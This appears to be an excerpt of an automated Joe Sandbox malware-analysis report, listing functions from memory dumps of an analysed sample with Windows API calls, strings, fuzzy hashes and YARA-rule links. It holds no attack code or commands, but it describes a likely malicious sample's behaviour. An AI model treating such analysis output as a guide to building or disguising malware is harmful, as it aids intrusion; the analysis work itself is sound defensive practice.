Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: LoadString
String ID: *$V
API String ID: 2948472770-3111849795
Opcode ID: 72dc879df8dfdd77abbf5732a7364dff4bca430f9b0ffb09bc908c5e09836968
Instruction ID: a768d0d92fbe6c8a0227856b5767daf812c996216446a7369e931573671de027
Opcode Fuzzy Hash: 72dc879df8dfdd77abbf5732a7364dff4bca430f9b0ffb09bc908c5e09836968
Instruction Fuzzy Hash: DB2174B281C350AFCA28BF60988959BB7E2FFD0310F10899DF49A27261DB769C05D642

Uniqueness

Uniqueness Score: -1.00%

Function 00A5CE48 Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00A5D118

Part of subcall function 00A5F8F7: __FF_MSGBANNER.LIBCMT ref: 00A5F91A
Part of subcall function 00A5F8F7: RtlAllocateHeap.NTDLL(00000000,00A5D10E,00000000,00000001,C4B4950A,?,00A5D11D,?,00000000,?,0000001C), ref: 00A5F96E

std::bad_alloc::bad_alloc.LIBCMT ref: 00A5D13B

Part of subcall function 00A5D094: std::exception::exception.LIBCMT ref: 00A5D0A0

std::bad_exception::bad_exception.LIBCMT ref: 00A5D14F

Memory Dump Source

Source File: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: AllocateHeap_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 832318072-0
Opcode ID: fe93b6165b135232c7a96f76d1ef57321c92cac4e3f4e8cfa3a6b5e85be693f1
Instruction ID: 2abc6b12d321fb4f1a761f579a3cda6a8027a6afffcda0f56a452ccb1f93f6b4
Opcode Fuzzy Hash: fe93b6165b135232c7a96f76d1ef57321c92cac4e3f4e8cfa3a6b5e85be693f1
Instruction Fuzzy Hash: 21012835500709BACF34B751D805A7937B8FB40326B208131FC1A9B091EF75DD8AC291

Uniqueness

Uniqueness Score: -1.00%

Function 0099C3E0 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0099C44A

Strings

v<Ea, xrefs: 0099C4A7

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: FolderPath
String ID: v<Ea
API String ID: 1514166925-4124759590
Opcode ID: f163a116380fe5d2990e91e56bd4eaec23362f417ba7a357fd309ff78a8d5b5a
Instruction ID: 8a05f53717a5819332b0744155c637dfadd9755021f7cc3cf079dfa78e9b9808
Opcode Fuzzy Hash: f163a116380fe5d2990e91e56bd4eaec23362f417ba7a357fd309ff78a8d5b5a
Instruction Fuzzy Hash: B37136B0C05348DBEB14CFA8C984BEDBBB4BF59314F244299E8197B282D7B55A84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 009A49F0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 009A4B5C

Strings

v<Ea, xrefs: 009A4AB2

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: __fread_nolock
String ID: v<Ea
API String ID: 2638373210-4124759590
Opcode ID: dd00d50cc3f4553caa21a29b80b5b001cbe70842c5c9ff8060c44748227154e3
Instruction ID: ba941b53164fa5f7b6a4f797b3fcacd84bfc8325e85580194abe927e1b172919
Opcode Fuzzy Hash: dd00d50cc3f4553caa21a29b80b5b001cbe70842c5c9ff8060c44748227154e3
Instruction Fuzzy Hash: 48513AB0D002499BDB10DFA8C946BAEFBB5FF44704F10421DE951AB381D7B5AA44CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 009A4870 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 009A49B9

Strings

v<Ea, xrefs: 009A4912

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: __fread_nolock
String ID: v<Ea
API String ID: 2638373210-4124759590
Opcode ID: c69089b26978a701f46e846c5e1da1ce1b9414c5c3dde10c9fe90054b20fe92c
Instruction ID: 5bb72b1ce0611c28dae9a8f08b81c9d06a1e11a9f3051ae9b9907a5d0cb3e7c7
Opcode Fuzzy Hash: c69089b26978a701f46e846c5e1da1ce1b9414c5c3dde10c9fe90054b20fe92c
Instruction Fuzzy Hash: E6413CB1D002489FDB04DF98D886BEEBBB4FF49714F104159E954BB381E7759901CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00B8298A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 8threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 00B8299D

Strings

P$, xrefs: 00BC4309

Memory Dump Source

Source File: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: ResumeThread
String ID: P$
API String ID: 947044025-2193686298
Opcode ID: 7beb57f1ff8a74122a9ba63527a2edd8ec9fe8647f98e0b6de78e2edc49707c1
Instruction ID: 76938d74e6c92d8c23bfc9294bad5796e538d31979fa3a255cd6ef5f401b068a
Opcode Fuzzy Hash: 7beb57f1ff8a74122a9ba63527a2edd8ec9fe8647f98e0b6de78e2edc49707c1
Instruction Fuzzy Hash: 70B012D8000D021411127A7B65E295A1C535FC2310352C09434860173F0F3858A14136

Uniqueness

Uniqueness Score: -1.00%

Function 00993670 Relevance: 3.3, APIs: 2, Instructions: 262COMMON

Download Yara Rule

APIs

__Xtime_get_ticks.LIBCPMT ref: 00993981
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0099398F

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@Xtime_get_ticks__ehfuncinfo$??2@
String ID:
API String ID: 3390117325-0
Opcode ID: 9da91754090839a18fba507ce1cf3b69ec8a4f764bf87439e1c8595ffc4e4f49
Instruction ID: 0ef1ee54a566bb6d887871380774078d455af7cb07914338e648f98baca1cfbc
Opcode Fuzzy Hash: 9da91754090839a18fba507ce1cf3b69ec8a4f764bf87439e1c8595ffc4e4f49
Instruction Fuzzy Hash: C5A15AB1E01209DFDF14DFADC9857AEBBB5EF44714F248229E811AB280D775AE44CB90

Uniqueness

Uniqueness Score: -1.00%

Function 008D3D50 Relevance: 1.8, APIs: 1, Instructions: 253COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 008D4093

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 5a43e59626d454c83eeefe51b797e7f8b3ccb201558c65d546c1e7b790a0ae88
Instruction ID: 3187dfa0cc82046a2c2b1ab9b22868ce88d84701d82e58484ce19c111c9ec7d4
Opcode Fuzzy Hash: 5a43e59626d454c83eeefe51b797e7f8b3ccb201558c65d546c1e7b790a0ae88
Instruction Fuzzy Hash: 04C117B0901249DFDB00CFA8C484799FBF0FF19314F28C29AE459AB392D7769A45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 008F8DF2 Relevance: 1.7, APIs: 1, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aeb8e12f32f9ffda1c1a30b6b17f64561daf0bd695888a400fd80b353a9ae44
Instruction ID: 9f1ab7d0a4a5f2fb9c9cbc269e2339993f8c5e76b08ad7b6317a39fb4b6a3a4a
Opcode Fuzzy Hash: 2aeb8e12f32f9ffda1c1a30b6b17f64561daf0bd695888a400fd80b353a9ae44
Instruction Fuzzy Hash: BC51A374A0020CEFDF14CF68C885AA97BA2FB89314F288159F9499B252DB31DD41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 008E9E20 Relevance: 1.6, APIs: 1, Instructions: 131COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 008E9F7B

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 00c63bfbc446892a2a7366eea75cb87d7d614bc22c8f361ae929f86845b658b2
Instruction ID: e409a1e64376a0a92d6db923852d076cef0fef0eb1c5894de8cba617393177cd
Opcode Fuzzy Hash: 00c63bfbc446892a2a7366eea75cb87d7d614bc22c8f361ae929f86845b658b2
Instruction Fuzzy Hash: 3241C172A001599FCB14DF6DC8419AEBBB9FB89310F244229E915E7385DAB0DE018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 008E4160 Relevance: 1.6, APIs: 1, Instructions: 107COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 008E428D

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 5c66cf00adb14e1ed3e31a04fc9a9b567e3e87968b58d167c8e783ae16e34433
Instruction ID: c152c2db1ba51f0d38ca83d90e5875b986e5950407872a870ef45bb5fc08964a
Opcode Fuzzy Hash: 5c66cf00adb14e1ed3e31a04fc9a9b567e3e87968b58d167c8e783ae16e34433
Instruction Fuzzy Hash: 0931A371A005489FCB04DF6DC841A6EBBA9FB85310F114329F919D7385DB349E0587D2

Uniqueness

Uniqueness Score: -1.00%

Function 00985940 Relevance: 1.6, APIs: 1, Instructions: 101COMMON

Download Yara Rule

APIs

closesocket.WS2_32(00000000), ref: 00985A2D

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 0eb22257f9afe3f31335c479684a3b5b98b02b658991df0bbf17296f3e93758e
Instruction ID: 31e8994b8313d7316a89760fc3d108a5e15a48ab4269e7142e4657f8de2e1217
Opcode Fuzzy Hash: 0eb22257f9afe3f31335c479684a3b5b98b02b658991df0bbf17296f3e93758e
Instruction Fuzzy Hash: 37313472804700ABD720AF648CC1B6BB7E8FF85734F114B5DF9A8A3291D3719C4887A2

Uniqueness

Uniqueness Score: -1.00%

Function 00B4389E Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

LoadStringW.USER32(008D1CDD,?,?,00BFE69A), ref: 00B02931

Memory Dump Source

Source File: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 78ab6b4bef2cd5e98e206b4c1d5ce7b36b0226c7c236faf5d4a31cf52b51c32c
Instruction ID: 009a13e6b97c7ee9988b627d9e43c740e6a1c527be908d1352498d951a554255
Opcode Fuzzy Hash: 78ab6b4bef2cd5e98e206b4c1d5ce7b36b0226c7c236faf5d4a31cf52b51c32c
Instruction Fuzzy Hash: C211517280930AABD304EF64E68604FB7E4EFD1714F50081CF6A402092DBB29848CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 008C32D0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 008C331F

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 823c4e5bb3d3b514343eddf42554e5ee370f024ed2ce05e72fd4b24c6d454137
Instruction ID: 1808690eff38a379ff60ff2e3866da084cc699ce1fd07450f3ad88d082f727bc
Opcode Fuzzy Hash: 823c4e5bb3d3b514343eddf42554e5ee370f024ed2ce05e72fd4b24c6d454137
Instruction Fuzzy Hash: 53F090721001089ACB146F78E815EE9B3B8FF243A1710497EE98DDB252EB3ADA418791

Uniqueness

Uniqueness Score: -1.00%

Function 06EED3F0 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(06F0CA21,00000001,06F5A924,00000000), ref: 06EED41D

Memory Dump Source

Source File: 00000000.00000002.4446031606.0000000006EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_file.jbxd

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: 42dd5b1eaa7361dd8b45d82910a9f34866abd83a8438542e28ff5109434fa4f9
Instruction ID: 5bc20e34eed3a2df273ac091f0a2741eef9c4a99de7f140358806d700786d3d5
Opcode Fuzzy Hash: 42dd5b1eaa7361dd8b45d82910a9f34866abd83a8438542e28ff5109434fa4f9
Instruction Fuzzy Hash: 8BE0757460120CEBEB00CF58D845B997BB9EB48758F108188FD089B381C6B6AE408B94

Uniqueness

Uniqueness Score: -1.00%

Function 06EF2470 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(00000AF8,0000FFFF,00001006,00000AF8,00000008), ref: 06EF24A3

Memory Dump Source

Source File: 00000000.00000002.4446031606.0000000006EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_file.jbxd

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 3fa3661b3d46315229f71a3fd3437e713bc746cc707e6433910b1f8bb5da9240
Instruction ID: 02a3f498e262022d284a0212d75154b052249d022909e3f332c613da1bd737a1
Opcode Fuzzy Hash: 3fa3661b3d46315229f71a3fd3437e713bc746cc707e6433910b1f8bb5da9240
Instruction Fuzzy Hash: A2E01274D40308BBDB50DF94D846B9D7BB8AB49700F108169B9089B2C0D6B056448B51

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 009A4B90 Relevance: 27.0, APIs: 1, Strings: 16, Instructions: 1467COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000), ref: 009A4FC2

Strings

v<Ea, xrefs: 009A6087
v<Ea, xrefs: 009A5E92
v<Ea, xrefs: 009A4D50
ukj, xrefs: 009A67F1
v<Ea, xrefs: 009A4E61
v<Ea, xrefs: 009A4E27
v<Ea, xrefs: 009A5313
v<Ea, xrefs: 009A535F
v<Ea, xrefs: 009A5F77
v<Ea, xrefs: 009A4DA2
v<Ea, xrefs: 009A5FAB
v<Ea, xrefs: 009A4EDA
v<Ea, xrefs: 009A5EDE
exists, xrefs: 009A6364, 009A6458
v<Ea, xrefs: 009A6053
v<Ea, xrefs: 009A5058

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
